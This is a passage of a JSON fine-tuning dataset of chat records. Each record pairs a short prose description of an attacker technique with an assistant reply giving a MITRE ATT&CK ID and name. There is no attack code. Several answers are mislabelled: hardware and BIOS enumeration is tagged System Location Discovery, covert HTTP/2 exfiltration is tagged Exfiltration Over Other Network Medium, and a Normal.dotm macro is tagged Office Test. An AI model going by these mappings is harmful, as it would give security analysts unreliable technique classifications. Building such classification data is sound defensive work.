                "content": "By creating an internal SOCKS proxy on a compromised host, the attacker can route subsequent malicious traffic through it to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deployed a file called 'report.pdf.exe' that showed the .pdf icon but executed the hidden .exe portion."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads command data from a public GitHub repository page, treating the repository as a dead‑drop resolver."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script called Azure PowerShell cmdlets to remove and deallocate virtual machines in the victim's subscription."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employs ptrace to suspend a victim process, allocates new memory region with mmap, copies malicious code into it, and resumes execution, achieving stealthy code execution."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code installs a WMI event filter monitoring registry key changes and triggers a hidden executable when the key is modified."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary crafts a Python utility that enumerates installed software and reports versions to C2."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a covert HTTP/2 stream hidden within legitimate web traffic to leak sensitive documents from the corporate network."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed malicious scripts in the web interface of a traffic control system, allowing them to change signal cycles whenever a specific URL is accessed."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks a public cloud messaging service to maintain two-way communication with compromised hosts, sending payloads and receiving results via the same web endpoint."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker edits a publicly accessible HTML page on a shared intranet site to inject JavaScript that steals credentials from visitors."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses bucket enumeration techniques to locate unprotected CSV files in AWS S3."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses an Azure Functions app by injecting a PowerShell script into the function's code package, which runs whenever the function is invoked by a legitimate HTTP trigger."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator uses Terraform scripts with stolen cloud access keys to provision additional VMs."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware adds thousands of dummy registry keys and values to Windows Registry to hide its configuration settings among junk data."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a scheduled task using the Windows at.exe utility to run a PowerShell script every night at 2 AM."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accesses the victim's Git repository to steal pipeline configuration files that contain API keys and service endpoints."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider provides valid cloud administrator credentials to an external group, enabling them to create privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker tampers with the logs stored in Elasticsearch, deleting traces of their lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Observations show that the domain resolves to dozens of IPs that change hourly, a hallmark of fast-flux DNS."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies a configuration XML file to include plaintext SMTP credentials for later use."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a threat‑intel platform, the adversary aggregates data about the victim’s web properties, including third‑party hosted sites, to identify potential entry points."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the WMI __InstanceModificationEvent class to run a PowerShell command each time a scheduled task is updated."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An Android app records touchscreen input events to steal user credentials."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the debug registers (DR0-DR7) to hide breakpoints from the OS."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes moving a data exfiltration utility to a peer system through a shared folder and launching it there."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged Microsoft Word to embed a malicious DDE command that, when the document was opened, instructed the system to execute a PowerShell payload from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the configuration of the sudoers file on Unix systems to grant elevated privileges to a malicious user."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor pads legitimate documents with random characters and extra lines to obscure malicious code embedded within the files."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware bundles its malicious payload inside a custom-packed executable using UPX to hide its code."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages launchd to schedule a daemon that periodically checks for updates from a remote server and executes them with root rights."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious executable modifies its own code sections when a debugger breakpoint is set, causing crashes."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised domain controller, the attacker harvests the KRBTGT hash and manufactures a Kerberos ticket granting ticket that impersonates any user for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends a targeted email to the engineering team, pretending to be a peer, with an attached .exe disguised as a software build, which drops a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan harvests window class names and captions to ascertain which applications are running."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit employed a Unix shell to spawn a reverse shell back to the command and control server."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a virtual environment on the victim’s system to execute commands, keeping the malicious process invisible."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT renamed the legitimate rundll32.exe to malware.dll.exe to masquerade as a standard utility."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware spawns a child process and then uses WriteProcessMemory to overwrite its memory with malicious shellcode."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Injecting a malicious script into an Outlook form template that is automatically loaded on Outlook launch."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary injects a malicious HTML file into the Outlook Home Page configuration, causing execution of scripts on startup."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor abuses a misconfigured sudoers file to execute commands as root without a password."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware connects to the victim's SMTP server, retrieves sent mail logs, and forwards them to the command server."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor encrypts the malicious DLL with a custom XOR cipher before dropping it on the victim system."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An encrypted payload scans for .xlsx and .pptx files, applies AES-256 encryption, and overwrites the originals, demanding a ransom for the decryption tool."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code updates the stored feature flags in a cloud service to enable debug mode for attackers."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerable IAM policy attached to a short‑lived role, the attacker obtained temporary elevated permissions to enumerate resources."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the Windows API GetSystemTime to discover the system's time and date."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor sends system information to an attacker-controlled web server via a single outbound HTTPS request, employing one-way web service communication."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder employed stolen SSH keys to authenticate to Linux servers, establishing persistent access under a legitimate user account."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant inserts a breakpoint exception and monitors its handling to detect debugging."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker accessed Confluence's attachment download endpoint to steal PDF reports from the legal department."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a serverless function (AWS Lambda) to download and execute ransomware without touching any persistent servers."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses WMI to gather the underlying hardware model and BIOS version of the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware component repeatedly triggers a local authentication service, consuming all available authentication tokens and preventing legitimate users from logging in."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a custom encrypted tunnel using an uncommon protocol that bypasses normal C2 channels for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit script running on a compromised Linux machine adds a new local user \"eviluser\" to the sudoers file for root access."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary opens new Pinterest accounts, using these platforms to host command‑and‑control links."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leveraged a misconfigured web server directory to replace the logo image with their own graphic, effectively defacing the site."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage a malicious binary to export login credentials saved in the macOS Keychain database."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor drops a hidden .desktop shortcut in the user's autostart folder, enabling the malicious script to launch whenever the user logs into the GUI."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers abuse the CLI of a Juniper router to schedule cron jobs that periodically download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team performs reverse DNS lookups on IP ranges to identify domains owned by the target."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team altered the cloud firewall's inspection policies, causing malicious payloads to bypass deep packet inspection."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script invokes the Win32_VideoCapture class to start a video stream from the webcam without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes RDP session shadowing capabilities to observe and take over a user’s active remote desktop session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the Normal.dotm template to include a malicious macro that executes a credential‑stealing script on Office startup."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use brute‑force attacks against webmail login portals to gain unauthorized access to user mailboxes."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑criminal rents a virtual private server to set up a command‑and‑control proxy for a botnet."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the Kubernetes API to create a new ClusterRole with cluster-wide admin rights."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker utilizes the 'Get-Mailbox' PowerShell cmdlet on a compromised Exchange admin account."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the access control list of a database file, granting the `db_owner` role to a newly created user."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits a remote management API to retrieve the host's disk model, firmware revision, and storage capacity information."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker distributes a malicious PowerShell script via a malicious email attachment; the victim runs the script, which executes the payload with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries steal legitimate code signing certificates from compromised developers to sign malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses a paid academic journal repository to search for research papers that mention the victim's proprietary technology."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
